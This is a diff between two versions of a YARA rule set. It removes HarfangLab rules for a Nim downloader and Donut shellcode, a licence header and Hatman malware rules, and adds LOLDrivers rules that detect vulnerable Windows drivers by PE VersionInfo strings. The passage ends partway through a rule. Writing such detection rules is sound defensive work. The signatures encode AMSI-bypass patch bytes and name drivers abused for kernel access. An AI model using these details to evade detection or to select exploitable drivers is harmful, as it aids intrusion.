-		description = "Detects the Nim downloader from the Supposed Grasshopper campaign."
-		author = "HarfangLab"
-		id = "e53656b5-a1be-53f0-a4d4-908f24e08bd6"
-		date = "2024-06-20"
-		modified = "2024-06-28"
-		reference = "TRR240601"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240601/trr240601_yara.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "93509319ab8028b0215fcfb81d1ff5d3d810922999f1dd8359b706a965221b2f"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "4af76d57-3f28-5d80-b72a-796f65942488"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4307-L4324"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21"
+		logic_hash = "df3e79bf8db29cb712ac4fe3670954a0793d7d839f3368ad52e5f826afd18b7f"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file,memory"
 
 	strings:
-		$pdb_path = "C:\\Users\\or\\Desktop\\nim-" ascii
-		$code = "helo.nim" ascii
-		$function_1 = "DownloadExecute" ascii fullword
-		$function_2 = "toByteSeq" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule HARFANGLAB_Donut_Shellcode : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_2AA1 : FILE
 {
 	meta:
-		description = "Detects Donut shellcode in memory."
-		author = "HarfangLab"
-		id = "54facb12-3f33-5430-b4bf-0d223dc2a413"
-		date = "2024-06-20"
-		modified = "2024-06-28"
-		reference = "TRR240601"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240601/trr240601_yara.yar#L18-L66"
-		license_url = "N/A"
-		logic_hash = "1bf4e253195e39cc0b3cf45797c35a9f06078350aa35e65d9d36adbcc09a150b"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv.sys"
+		author = "Florian Roth"
+		id = "78768248-afa1-5e3c-a9cd-c9ab73ea4f74"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4327-L4346"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4"
+		logic_hash = "87c0e6a3d0ff8f88e8f190c6b643adde45dc7d4c2aa73b79ba0f38a13bd86f1c"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "memory"
 
 	strings:
-		$amsi_patch = { 48 8B 44 24 (28 | 30) 83 20 00 33 C0 C3 }
-		$wldp_patch = { 41 C7 00 01 00 00 00 33 C0 C3 }
-		$api_hashing = { 8B C2 C1 C9 08 41 03 C8 8B D3 41 33 C9 C1 CA 08 41 03 D1 41 C1 C0 03 41 33 D2 41 C1 C1 03 44 33 CA 44 33 C1 41 FF C2 41 8B DB 44 8B D8 41 83 FA 1B }
-		$loaded_dlls = "ole32;oleaut32;wininet;mscoree;shell32" ascii
-		$function_1 = "WldpQueryDynamicCodeTrust" ascii
-		$function_2 = "WldpIsClassInApprovedList" ascii
-		$function_3 = "AmsiInitialize" ascii
-		$function_4 = "AmsiScanBuffer" ascii
-		$function_5 = "AmsiScanString" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint8(0)==0xE8 and ((#amsi_patch>1 and $wldp_patch and $api_hashing) or ($loaded_dlls and all of ($function_*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Signature Base
- * Repository: https://github.com/Neo23x0/signature-base
- * Retrieval Date: 2024-08-04
- * Git Commit: 99cc905c67522a1dea4e97cb15b13ff578118d6f
- * Number of Rules: 4575
- * Skipped: 0 (age), 11 (quality), 4 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * # Detection Rule License (DRL) 1.1
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_97B3 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "ef15eec0-caf8-58e9-9c63-cfee3275253d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4349-L4369"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd"
+		hash = "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10"
+		logic_hash = "800b43309abd2921378c28cace1ccfb2f7d3420c0f7059c9cbd7422095cbba43"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this rule set and associated documentation files (the "Rules"), to deal
-in the Rules without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Rules, and to permit persons to whom the Rules are furnished to do so,
-subject to the following conditions:
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000370030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
-If you share the Rules (including in modified form), you must retain the
-following if it is supplied within the Rules:
+	condition:
+		uint16(0)==0x5a4d and filesize <300KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_0EAB : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		id = "ca020c04-c1b4-5496-bbac-beb1ea4537aa"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4372-L4391"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0eab16c7f54b61620277977f8c332737081a46bc6bbde50742b6904bdd54f502"
+		logic_hash = "a4b1e73c5706e29fc31722f82bdf03c705a03821feb22da48c8c5d0d0f7f2dbb"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-1. identification of the authors(s) ("author" field) of the Rule and any
-   others designated to receive attribution, in any reasonable manner
-   requested by the Rule author (including by pseudonym if designated).
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e0064007200610020004400650076006900630065002000440072006900760065007200200028007800360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00310038002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00310038002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d00500072006500730065006e0074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
-2. a URI or hyperlink to the Rule set or explicit Rule to the extent
-   reasonably practicable
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_8EF5 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "ccd6832d-72d2-599d-9eba-7616e59120e2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4394-L4413"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8ef59605ebb2cb259f19aba1a8c122629c224c58e603f270eaa72f516277620c"
+		logic_hash = "d0b94553fb03576dea69fd13042db119825009c0a90ba111560102fed8bb3154"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-3. indicate the Rules are licensed under this Detection Rule License, and
-   include the text of, or the URI or hyperlink to, this Detection Rule
-   License to the extent reasonably practicable
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300032002e0030003100310036002e00320030003100350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300032002e0030003100310036002e0032003000310035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f0044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
-If you use the Rules (including in modified form) on data, messages based on
-matches with the Rules must retain the following if it is supplied within the
-Rules:
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_1F15 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "f24de207-322f-596a-94c0-ec3ef3f2b907"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4416-L4435"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1f15fd9b81092a98fabcc4ac95e45cec2d9ff3874d2e3faac482f3e86edad441"
+		logic_hash = "5eebc2d90e6d17134c100e4f04271f4e1f6546a6c74ef4737e60ec76d4fa8227"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-1. identification of the authors(s) ("author" field) of the Rule and any
-   others designated to receive attribution, in any reasonable manner
-   requested by the Rule author (including by pseudonym if designated).
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
-THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE
-RULES.
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_0452 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		id = "2cd9eb8f-25c1-5bd2-a5be-ae295ee7179f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4438-L4457"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0452a6e8f00bae0b79335c1799a26b2b77d603451f2e6cc3b137ad91996d4dec"
+		logic_hash = "3e5eddf984eb85a304bd19a444238850dc2d153f8e59bb215a08f781efc270c6"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
- */
-private rule SIGNATURE_BASE_Hatman_Mftmsr_PRIVATE : HATMAN
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200030002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310033002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_818E : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
 		author = "Florian Roth"
-		id = "cbbd6008-7722-5d92-bb82-73c8b2b6bea9"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L65-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a03a3f5c583843acb216a8edefceaa1e89248fe72db49bcd906d2183998b1674"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "534b26bd-7298-5e16-ba49-f48b1bc405d7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4460-L4479"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01"
+		logic_hash = "de48cb605c339f13f94451361531ea2661d79311aacbb87878b24866766b6e3f"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$mfmsr_be = { 7c 63 00 a6 }
-		$mfmsr_le = { a6 00 63 7c }
-		$mtmsr_be = { 7c 63 01 24 }
-		$mtmsr_le = { 24 01 63 7c }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000370038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Origcode_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_6FFD : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
 		author = "Florian Roth"
-		id = "582b4cb6-54b5-5128-8c42-6759ec0f3976"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L58-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6286e084bdbf3e2730a1aa3b7e302c1611c987447e083780e2d03000d1d226e"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "b0799b63-2938-586a-8a10-c3d9916b3d01"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4482-L4501"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc"
+		logic_hash = "f8d629b1c9b785204c61c95ac83dc7516db14aa8abd68dc8cb5250d53408f20d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ocode_be = { 3c 00 00 03  60 00 a0 b0  7c 09 03 a6  4e 80 04 20 }
-		$ocode_le = { 03 00 00 3c  b0 a0 00 60  a6 03 09 7c  20 04 80 4e }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c00650020004e006f00540072006100700020004200750069006c0064 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100300034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		$ocode_be or $ocode_le
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Loadoff_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_7710 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
 		author = "Florian Roth"
-		id = "1ad2f77b-4360-512d-ac06-9933ac2cdc67"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L74-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70d33c40b919d1852eded8c4afa96978c8b4503f95fb4a48e1d8b89864b77d38"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "9b4f6fc7-e597-5efd-9a85-6fd63fa9844b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4504-L4528"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c"
+		hash = "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2"
+		hash = "6c5c6c350c8dd4ca90a8cca0ed1eeca185ebc67b1100935c8f03eb3032aca388"
+		hash = "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88"
+		hash = "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c"
+		hash = "b8ffe83919afc08a430c017a98e6ace3d9cbd7258c16c09c4f3a4e06746fc80a"
+		logic_hash = "3c281f5381de85adcfba468cfced2fa0b400d90bb2a14494da37bd9b21e60e36"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$loadoff_be = { 80 60 00 04  48 00 ?? ??  70 60 ff ff  28 00 00 00
-                        40 82 ?? ??  28 03 00 00  41 82 ?? ??              }
-		$loadoff_le = { 04 00 60 80  ?? ?? 00 48  ff ff 60 70  00 00 00 28
-                        ?? ?? 82 40  00 00 03 28  ?? ?? 82 41              }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310035002000430050005500490044 }
 
 	condition:
-		$loadoff_be or $loadoff_le
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Origaddr_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_AD8F : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
